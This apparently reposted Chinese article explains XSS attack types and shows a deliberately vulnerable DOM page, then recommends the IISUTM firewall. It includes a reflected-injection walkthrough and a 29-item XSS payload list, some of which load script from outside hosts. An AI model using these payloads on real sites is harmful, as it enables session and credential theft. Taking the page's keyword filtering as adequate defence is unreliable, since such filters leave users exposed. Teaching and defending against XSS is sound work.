導航:首頁 > 編程語言 > phpxxs

phpxxs

發布時間:2023-07-30 03:38:20

㈠ 哪有放XSS跨站腳本工具的第三方工具/

不修改網站程序,使用第三方工具來防範XSS跨站式腳本攻擊

網站要怎麼防範常見的XSS跨站式腳本攻擊呢,我們先從XSS跨站式腳本攻擊的原理來說起。

網站遭受XSS跨站式腳本攻擊的基本原理

1.本地利用漏洞,這種漏洞存在於頁面中客戶端腳本自身。

其攻擊過程如下所示:

A給B發送一個惡意構造了Web的URL。

B點擊並查看了這個URL。

惡意頁面中的javaScript打開一個具有漏洞的HTML頁面並將其安裝在B電腦上。

具有漏洞的HTML頁麵包含了在B電腦本地域執行的JavaScript。

A的惡意腳本可以在B的電腦上執行B所持有的許可權下的命令

2反射式漏洞,這種漏洞和本地利用漏洞有些類似,不同的是Web客戶端使用Server端腳本生成頁面為用戶提供數據時,如果未經驗證的用戶數據被包含在頁面中而未經HTML實體編碼,客戶端代碼便能夠注入到動態頁面中。

其攻擊過程如下:

A經常瀏覽某個網站,此網站為B所擁有。B的站點運行A使用用戶名/密碼進行登錄,並存儲敏感信息(比如銀行帳戶信息)。

C發現B的站點包含反射性的XSS漏洞。

C編寫一個利用漏洞的URL,並將其冒充為來自B的郵件發送給A。

A在登錄到B的站點後,瀏覽C提供的URL。

嵌入到URL中的惡意腳本在A的瀏覽器中執行,就像它直接來自B的伺服器一樣。此腳本盜竊敏感信息(授權、信用卡、帳號信息等)然後在A完全不知情的情況下將這些信息發送到C的Web站點。

3存儲式漏洞,該類型是應用最為廣泛而且有可能影響到Web伺服器自身安全的漏洞,駭客將攻擊腳本上傳到Web伺服器上,使得所有訪問該頁面的用戶都面臨信息泄漏的可能,其中也包括了Web伺服器的管理員。

其攻擊過程如下:

B擁有一個Web站點,該站點允許用戶發布信息/瀏覽已發布的信息。

C注意到B的站點具有存儲式的XXS漏洞。

C發布一個熱點信息,吸引其它用戶紛紛閱讀。

B或者是任何的其他人如A瀏覽該信息,其會話cookies或者其它信息將被C盜走。

類型A直接威脅用戶個體,而類型B和存儲式漏洞所威脅的對象都是企業級Web應用。

網站遭受XSS跨站式腳本攻擊的基本方式

1. DOM-based cross-site scripting

頁面本身包含一些DOM對象的操作,如果未對輸入的參數進行處理,可能會導致執行惡意腳本。如下面一些DOM操作:

document.URL

document.URLUnencoded

document.location (and many of its properties)

document.referrer

window.location (and many of its properties)

舉個例子,假如某個脆弱的頁面的代碼如下:

<HTML>

<TITLE>Welcome!</TITLE>

Hi

<SCRIPT>

var pos=document.URL.indexOf("name=")+5;

document.write(document.URL.substring(pos,document.URL.length));

</SCRIPT>

<BR>

Welcome to our system



</HTML>

攻擊者使用如下的URL訪問時,則非常危險:

http://www.vulnerable.site/welcome.html?name=<script>alert(document.cookie)</script>

試了一下,貌似IE、FireFox等瀏覽器默認 對<script>alert(document.cookie)</script>進行了編碼,阻止了腳本的執行。但是對於 DOM操作還是要更加謹慎啊,比如把上面的頁面修改一下,安全性就增強了不少:

<SCRIPT>

var pos=document.URL.indexOf("name=")+5;

var name=document.URL.substring(pos,document.URL.length);

if (name.match(/^[a-zA-Z0-9]$/))

{

document.write(name);

}

else

{

window.alert("Security error");

}

</SCRIPT>

2. Reflected cross-site scripting

也被稱為None-Persistent cross-site scripting,即,非持久化的XSS攻擊,是我們通常所說的,也是最常用,使用最廣的一種方式。它通過給別人發送帶有惡意腳本代碼參數的URL,當 URL地址被打開時,特有的惡意代碼參數被HTML解析、執行。它的特點是非持久化,必須用戶點擊帶有特定參數的鏈接菜能引起。

3. Persistent cross-site scripting

持久化XSS攻擊,指的是惡意腳本代碼被存儲進被攻擊的資料庫,當其他用戶正常瀏覽網頁時,站點從資料庫中讀取了非法用戶存入非法數據,惡意腳本代碼被執行。這種攻擊類型通常在留言板等地方出現。

實施方式

我們來試一把Reflected cross-site scripting。當我們在某網站輸入參數XXX,發現參數XXX原樣的出現在了頁面源碼中:

1. <input type="text" class="Seach" name="w" value="XXX" />

OK,可以開始做文章了,我們將XXX替換為:abc"/><script>alert('haha')</script><a href=",返回的HTML代碼如下:

1. <input type="text" class="Seach" name="w" value="abc"/>
2. <script>alert('haha')</script><!--" />

這樣,<script>alert('haha')</script>被執行了。這里再舉例一些XSS攻擊行為:

1. <IMG SRC="javascript:alert('XSS');">
2. <IMG SRC=javascript:alert('XSS')>
3. <IMG SRC="javascript:alert(String.fromCharCode(88,83,83))">
4. <IMG SRC="jav ascript:alert('XSS');">
5. <SCRIPT/XSS SRC="http://example.com/xss.js"></SCRIPT>
6. <<SCRIPT>alert("XSS");//<</SCRIPT>
7. <iframe src=http://example.com/scriptlet.html <
8. <INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
9. <BODY BACKGROUND="javascript:alert('XSS')">
10. <BODY ONLOAD=alert(document.cookie)>
11. <BODY onload!#$%&()*~+-_.,:;?@[/|"]^`=alert("XSS")>
12. <IMG DYNSRC="javascript:alert('XSS')">
13. <IMG DYNSRC="javascript:alert('XSS')">
14. <BR SIZE="&{alert('XSS')}">
15. <IMG SRC='vbscript:msgbox("XSS")'>
16. <TABLE BACKGROUND="javascript:alert('XSS')">
17. <DIV STYLE="width: expression(alert('XSS'));">
18. <DIV STYLE="background-image: url(javascript:alert('XSS'))">
19. <STYLE TYPE="text/javascript">alert('XSS');</STYLE>
20. <STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
21. <?='<SCRIPT>alert("XSS")</SCRIPT>'?>
22. <A HREF="javascript:document.location='http://www.example.com/'">XSS</A>
23. <IMG SRC=javascript:alert('XSS')>
24. <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>
25. a="get";
26. b="URL(""";
27. c="javascript:";
28. d="alert('XSS');"")";
29. eval(a+b+c+d);

總結一下,要防止XSS跨站式腳本攻擊主要是要在查詢字元串(QueryString),表單數據(PostData)以及Cookie甚至HTTP報頭(Header)中防止掉一些javascript關鍵字和一些敏感的字元(單引號,分號)以及SQL語言的關鍵字,以及防止他們使用encode編碼。

用ASP或者PHP腳本來實現上面的這些想起來就很麻煩。下面就來介紹下用一個第三方工具IISUTM來處理上面我們說到的問題。

准備工作:先去www.iisutm.com下載最新的IISUTM版本。

根據IISUTM網站防火牆安裝及操作手冊 中的說明把IISUTM部署到你的伺服器上來,這里需要注意的是使用Windows 2003+iis6的伺服器,需要開啟iis中「以IIS5.0 隔離模式運行 www 服務」選項才能正常使用該軟體。

安裝完成,通過瀏覽器訪問IISUTM的配置管理界面默認的是http://127.0.0.1:8362,這個是私有地址,只能在該伺服器上訪問,你需要任何地方都能訪問的話,可以在安裝的時候IP地址的選項那裡填入你伺服器的公網IP地址,和你所開放的埠。這樣你就可以通過你配置的地址進行訪問,或者你可以在iis中直接管理名為IISUTM的站點。

登陸管理界面後點擊上面導航欄中的「基本設置」,然後點擊左邊菜單的「防XSS攻擊」鏈接。

開啟該鏈接里所有的選項,選中之後IISUTM會自動保存配置,下面的「使用不允許的發送序列」是該軟體提供的XSS攻擊關鍵字的特徵庫,你可以根據你網站的情況進行更改(最好不要修改)。

確認以上的配置以後,你可以返回到IISUTM管理界面的首頁,這里會列出最近伺服器遭受到的攻擊以及詳細,趕緊去看看你的網站是不是隨時有人在進行SQL注入吧,以及哪些攻擊被IISUTM處理掉了。

閱讀全文

與phpxxs相關的資料

熱點內容
全球雲伺服器如何注冊 瀏覽:882
udp直播流如何在伺服器里播放器 瀏覽:589
macbrew安裝php 瀏覽:423
點特徵提取演算法 瀏覽:500
python彈窗顯示輸入的文字 瀏覽:749
python數字和中文互轉 瀏覽:639
汽車空調壓縮機外殼 瀏覽:456
大型伺服器都是採用什麼模式 瀏覽:5
伺服器為什麼跳閘 瀏覽:398
怎麼用python分析基金收益 瀏覽:990
couple演算法 瀏覽:791
android調用文件管理器 瀏覽:152
中國我的世界最大的小游戲伺服器地址 瀏覽:833
程序員爆破粒子 瀏覽:889
我的世界pcl啟動器怎麼加入伺服器 瀏覽:253
傳奇源碼擴充人物結構 瀏覽:844
購買多個文件夾 瀏覽:774
其他app如何投屏到微光視頻教學 瀏覽:340
車輛不解壓會給大綠本嗎 瀏覽:789
塔式伺服器如何裝機 瀏覽:448